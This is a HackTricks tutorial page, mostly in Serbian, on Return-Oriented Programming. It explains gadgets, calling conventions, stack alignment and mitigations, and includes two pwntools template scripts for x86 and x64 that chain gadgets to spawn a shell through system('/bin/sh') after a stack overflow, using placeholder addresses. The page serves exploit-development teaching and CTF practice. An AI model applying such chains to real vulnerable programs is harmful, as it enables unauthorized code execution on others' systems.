ROP - Programiranje Orijentisano na Povratak
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Programiranje Orijentisano na Povratak (ROP) je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera kao što su No-Execute (NX) ili Prevencija Izvršavanja Podataka (DEP). Umesto da se injektuje i izvršava shellcode, napadač koristi delove koda koji su već prisutni u binarnom fajlu ili u učitanim bibliotekama, poznatim kao "gadgets". Svaki gadget obično završava sa ret
instrukcijom i izvršava malu operaciju, kao što je premeštanje podataka između registara ili izvođenje aritmetičkih operacija. Povezivanjem ovih gadgets, napadač može konstruisati payload za izvođenje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
Kako ROP Radi
- Otimaње Kontrolnog Tok: Prvo, napadač treba da otme kontrolni tok programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvanu adresu povratka na steku.
- Povezivanje Gadgets: Napadač pažljivo bira i povezuje gadgets da bi izvršio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr.,
system("/bin/sh")
), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama. - Izvršenje Payload-a: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje da izvršava lanac gadgets.
Alati
Obično, gadgets se mogu pronaći koristeći ROPgadget, ropper ili direktno iz pwntools (ROP).
ROP Lanac u x86 Primeru
x86 (32-bit) Konvencije Poziva
- cdecl: Pozivaoc čisti stek. Argumenti funkcije se stavljaju na stek u obrnutom redosledu (s desna na levo). Argumenti se stavljaju na stek s desna na levo.
- stdcall: Slično cdecl, ali je pozvana funkcija odgovorna za čišćenje steka.
Pronalaženje Gadgets
Prvo, pretpostavimo da smo identifikovali potrebne gadgets unutar binarnog fajla ili njegovih učitanih biblioteka. Gadgets koji nas zanimaju su:
pop eax; ret
: Ovaj gadget uzima gornju vrednost steka uEAX
registar i zatim se vraća, omogućavajući nam kontrolu nadEAX
.pop ebx; ret
: Slično prethodnom, ali zaEBX
registar, omogućavajući kontrolu nadEBX
.mov [ebx], eax; ret
: Premesti vrednost izEAX
u memorijsku lokaciju na koju pokazujeEBX
i zatim se vraća. Ovo se često naziva write-what-where gadget.- Pored toga, imamo adresu funkcije
system()
dostupnu.
ROP Lanac
Koristeći pwntools, pripremamo stek za izvršenje ROP lanca na sledeći način, sa ciljem da izvršimo system('/bin/sh')
, obratite pažnju kako lanac počinje sa:
ret
instrukcijom za svrhe poravnanja (opciono)- Adresom funkcije
system
(pretpostavljajući da je ASLR onemogućen i da je libc poznat, više informacija u Ret2lib) - Mesto za adresu povratka iz
system()
- Adresom stringa
"/bin/sh"
(parametar za funkciju system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Koristi System V AMD64 ABI konvenciju poziva na Unix-like sistemima, gde se prvih šest celobrojnih ili pokazivačkih argumenata prosleđuje u registrima
RDI
,RSI
,RDX
,RCX
,R8
, iR9
. Dodatni argumenti se prosleđuju na steku. Vraćena vrednost se smešta uRAX
. - Windows x64 konvencija poziva koristi
RCX
,RDX
,R8
, iR9
za prva četiri celobrojna ili pokazivačka argumenta, dok se dodatni argumenti prosleđuju na steku. Vraćena vrednost se smešta uRAX
. - Registri: 64-bitni registri uključuju
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, iR8
doR15
.
Finding Gadgets
Za naše potrebe, fokusiraćemo se na gadgete koji će nam omogućiti da postavimo RDI registar (da prosledimo "/bin/sh" string kao argument za system()) i zatim pozovemo system() funkciju. Pretpostavićemo da smo identifikovali sledeće gadgete:
- pop rdi; ret: Uzimanje gornje vrednosti steka u RDI i zatim vraćanje. Osnovno za postavljanje našeg argumenta za system().
- ret: Jednostavno vraćanje, korisno za poravnavanje steka u nekim scenarijima.
I znamo adresu system() funkcije.
ROP Chain
Ispod je primer korišćenja pwntools za postavljanje i izvršavanje ROP lanca koji ima za cilj da izvrši system('/bin/sh') na x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
U ovom primeru:
- Koristimo
pop rdi; ret
gadget da postavimoRDI
na adresu"/bin/sh"
. - Direktno skačemo na
system()
nakon postavljanjaRDI
, sa adresom system() u lancu. ret_gadget
se koristi za poravnavanje ako ciljno okruženje to zahteva, što je češće u x64 da bi se osiguralo pravilno poravnavanje steka pre pozivanja funkcija.
Poravnavanje Steka
x86-64 ABI osigurava da je stek poravnat na 16 bajtova kada se izvrši call instrukcija. LIBC, da optimizuje performanse, koristi SSE instrukcije (kao što je movaps) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da RSP nije višekratnik 16), pozivi funkcijama kao što je system će propasti u ROP lancu. Da biste to ispravili, jednostavno dodajte ret gadget pre pozivanja system u vašem ROP lancu.
Glavna razlika između x86 i x64
tip
Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gadgeta nego x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gadgeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećan broj registara i veći adresni prostor u x64 arhitekturi pružaju i prilike i izazove za razvoj eksploatacija, posebno u kontekstu Programiranja Orijentisanog na Povratak (ROP).
ROP lanac u ARM64 primeru
Osnovne informacije o ARM64 i konvencije pozivanja
Proverite sledeću stranicu za ove informacije:
Zaštite protiv ROP
- ASLR & PIE: Ove zaštite otežavaju korišćenje ROP-a jer se adrese gadgeta menjaju između izvršavanja.
- Stack Canaries: U slučaju BOF-a, potrebno je zaobići skladištenje stack canary da bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.
- Nedostatak Gadgeta: Ako nema dovoljno gadgeta, neće biti moguće generisati ROP lanac.
Tehnike zasnovane na ROP-u
Imajte na umu da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu ROP-a razvijene su mnoge Ret2XXX tehnike:
- Ret2lib: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto poput
system('/bin/sh')
.
- Ret2Syscall: Koristi ROP za pripremu poziva sistemskoj funkciji, npr.
execve
, i izvršava proizvoljne komande.
- EBP2Ret & EBP Chaining: Prvi će zloupotrebiti EBP umesto EIP da kontroliše tok, a drugi je sličan Ret2lib, ali u ovom slučaju tok se kontroliše uglavnom sa EBP adresama (iako je takođe potrebno kontrolisati EIP).
Stack Pivoting - EBP2Ret - EBP chaining
Ostali primeri i reference
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bita, Pie i nx omogućeni, bez canary, prepisivanje RIP-a sa
vsyscall
adresom sa jedinom svrhom da se vrati na sledeću adresu u steku koja će biti delimično prepisivanje adrese da se dobije deo funkcije koja otkriva zastavicu - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.